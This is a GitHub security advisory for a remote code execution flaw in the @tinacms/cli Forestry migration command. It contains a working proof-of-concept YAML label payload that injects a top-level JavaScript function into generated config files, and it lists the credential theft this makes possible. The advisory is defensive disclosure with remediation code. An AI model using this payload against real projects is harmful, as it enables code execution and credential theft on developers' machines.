GitHub Advisoryadvisory · npm
GHSA-4936-9hrh-qqpw @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
HIGH
Official page ↗
- Aliases
- CVE-2026-54074
- Ecosystem
- npm
- Packages
- @tinacms/cli
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-06-19
Affected packages
• npm @tinacms/cli: < 2.4.3 → fixed in 2.4.3
Description
Description
Summary
`@tinacms/cli` contains a Remote Code Execution vulnerability in its
Forestry-to-Tina migration command. The internal helper `addVariablesToCode`
unquotes any value matching the marker `"__TINA_INTERNAL__:::(.*?):::"`
inside the stringified collection JSON. User-supplied `label` and `name`
fields from `.forestry/**/*.yml` are placed into that JSON without any
sanitisation. An attacker who controls a Forestry-style project can therefore
inject arbitrary JavaScript into the generated `tina/templates.{ts,js}`
file. The injected code is written at module top level, so it executes
the moment the developer runs `tinacms dev` or `tinacms build`, with the
developer's privileges.
Details
Vulnerable code path:
1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`
— `transformForestryFieldsToTinaFields()` writes `forestryField.label`
(and `.name`) straight into TinaField objects (no sanitisation).
2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,
lines 16-22 — the regex-based unquoter:
```ts
export const addVariablesToCode = (codeWithTinaPrefix: string) => {
const code = codeWithTinaPrefix.replace(
/"__TINA_INTERNAL__:::(.*?):::"/g,
'$1'
);
return { code };
};
```
3. `codeTransformer.ts` lines 80-88 — the field array is
`JSON.stringify`-ed and then handed to `addVariablesToCode`. Because
`JSON.stringify` does not escape single quotes or backticks, an
attacker who avoids `"` in the payload survives the JSON pass intact.
4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the
resulting string is written to `tina/templates.{ts,js}` and imported by
the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.
Why it executes immediately: the regex unquoting allows the attacker's
payload to *close the surrounding object/array and the enclosing
`xxxFields()` function*, drop a top-level IIFE, and then start a dummy
function that swallows the trailing JSON. The IIFE is at module scope,
so it runs the instant `tina/config.ts` imports `./templates`.
PoC
End-to-end verified against `tinacms` and `@tinacms/[email protected]`, built from
commit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24
(behaviour is identical on Node 22).
Step 1 — attacker prepares a malicious Forestry project
`.forestry/settings.yml`
```yaml
---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
• type: directory
path: content/posts
label: Posts
create: all
match: "**/*.md"
templates:
• rce
```
`.forestry/front_matter/templates/rce.yml`
```yaml
---
label: rce_template
fields:
• name: title
type: text
label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"
```
> Note on payload encoding. The original disclosure draft used double
> quotes inside the payload (`console.log("RCE")`). `JSON.stringify` escapes
> those to `\"`, which makes the generated TypeScript syntactically invalid
> and is rejected by Prettier before the file is written. Using single
> quotes or backticks for the inner string literals is required for the
> exploit to succeed.
Step 2 — victim runs the standard onboarding flow
```bash
git clone
cd
npx tinacms init # accepts the "migrate Forestry templates?" prompt
npx tinacms dev # OR: npx tinacms build
```
Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)
```ts
import type { TinaField } from "tinacms";
export function rce_templateFields() {
return [{ type: "string", name: "title", label: 1 }];
}
(function () { // at 2026-05-23T06:57:29.800Z
```
The `=== RCE SUCCESSFUL ===` line is printed before the dev server
fails on the (intentionally minimal) config, proving the malicious code
executed during config evaluation.
Impact
• Class: Remote Code Execution (code injection into a generated source
file that is automatically executed by the dev server/build).
• Attack vector: Any developer who runs `tinacms init` on a Forestry
project they did not author (e.g. a starter template, a community fork,
a "convert my site to Tina" service, an evaluation of a third-party
CMS migration) and then runs `tinacms dev` or `tinacms build`.
• Privileges obtained: Full execution under the developer's user
account. Practical consequences include:
• Exfiltration of environment variables, `.env` files, SSH keys,
`~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.
• Source-code modification (planting backdoors before the developer's
next commit / publish).
• Supply-chain abuse via the developer's `npm publish` and `git push`
credentials.
• Persistence via shell rc files or scheduled tasks.
• Authentication: None required from the attacker.
• User interaction: Required — victim must run the migration and then
the dev/build command. The migration prompt defaults to "yes".
Suggested Remediation
Either fix is sufficient; Option B is preferred because it is
structurally impossible to bypass and does not silently drop user content.
Option A — sanitise user-controlled strings (the disclosure draft's proposal)
```ts
// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
typeof str === 'string'
? str.replace(/__TINA_INTERNAL__:::/g, '')
: str;
```
Apply to every user-controlled string that flows into a TinaField
object — at minimum `forestryField.label`, `forestryField.name`,
`forestryField.template`, `forestryField.config.options[*]`,
`forestryField.config.source.section`, and the equivalents on nested
`fields`/`template_types` recursive paths.
Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data
```ts
// codeTransformer.ts
const MARKER_OPEN = '__TINA_INTERNAL__';
const MARKER_CLOSE = '/__TINA_INTERNAL__';
export const addVariablesToCode = (s: string) => ({
code: s.replace(
new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
'$1'
),
});
```
`JSON.stringify` escapes `` to the six-character sequence
``, so any literal control character supplied via YAML can never
reconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)
keep emitting real `` bytes, so the legitimate flow continues to
work and no user content is silently mutated.
Defence-in-depth
Regardless of which option ships, the migration code should also:
• Reject `forestryField.label` / `.name` that contain newlines or NUL
bytes (Forestry never produced them).
• Wrap the eventual `prettier.format(...)` call so that if formatting
fails the build aborts (today an exception is propagated, which is
good — keep it that way).
---
Credit
Reported by AnGrY-Althaf (`[email protected]`).
End-to-end PoC executed locally against
`[email protected]` / `@tinacms/[email protected]` built from commit `ae1ab5d0f`
of `https://github.com/tinacms/tinacms`.
Related
Alias · CVE (1)
- CVE-2026-54074 Tina is a headless content management system. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw web
- https://github.com/tinacms/tinacms/pull/7006 web
- https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb web
- https://github.com/tinacms/tinacms package
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/[email protected] web